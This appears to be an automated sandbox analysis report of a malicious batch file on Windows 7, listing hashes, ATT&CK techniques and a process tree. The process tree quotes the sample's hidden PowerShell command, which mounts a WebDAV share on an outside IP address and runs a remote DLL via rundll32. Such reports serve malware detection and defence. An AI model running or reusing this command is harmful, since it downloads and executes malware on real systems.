b7b1454459718bea3f1cc8529674cf07e210f7144087394f05c530af939ddbca

Analysis

max time kernel
119s
max time network
125s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
15/07/2024, 06:49

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General

Target

2544716741820331212.bat
Size

2KB
MD5

cfefab70aee9445383eb81d12e59303f
SHA1

70d2b251be35f72ef6928a42a96fb7a254f236ea
SHA256

a9085f33c769bd9a421afab70bffdb533f83f8f2f5dedd95a8bdf30fdbe3294f
SHA512

b33f13d77d9bf2f0c4410c53c01213178db04f3cbb4fdc11b7e1f59f05f85b9d8f2d671474818e7f16db32e86556e36fd8ab0c17df2cdb01844c887394eb7b09

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2364	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2364	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2364	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2500	wordpad.exe
2500	wordpad.exe
2500	wordpad.exe
2500	wordpad.exe
2500	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1996 wrote to memory of 2500	1996	cmd.exe	31
PID 1996 wrote to memory of 2500	1996	cmd.exe	31
PID 1996 wrote to memory of 2500	1996	cmd.exe	31
PID 1996 wrote to memory of 2364	1996	cmd.exe	32
PID 1996 wrote to memory of 2364	1996	cmd.exe	32
PID 1996 wrote to memory of 2364	1996	cmd.exe	32
PID 2364 wrote to memory of 2264	2364	powershell.exe	34
PID 2364 wrote to memory of 2264	2364	powershell.exe	34
PID 2364 wrote to memory of 2264	2364	powershell.exe	34
PID 2364 wrote to memory of 2432	2364	powershell.exe	35
PID 2364 wrote to memory of 2432	2364	powershell.exe	35
PID 2364 wrote to memory of 2432	2364	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\2544716741820331212.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1996
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\591.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2364
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2264
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\591.dll entry
    3⤵
    PID:2432

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1996-16-0x0000000002310000-0x0000000002410000-memory.dmp

Filesize
1024KB

Download
memory/1996-17-0x0000000002310000-0x0000000002410000-memory.dmp

Filesize
1024KB

Download
memory/2364-23-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/2364-24-0x00000000002E0000-0x00000000002E8000-memory.dmp

Filesize
32KB

Download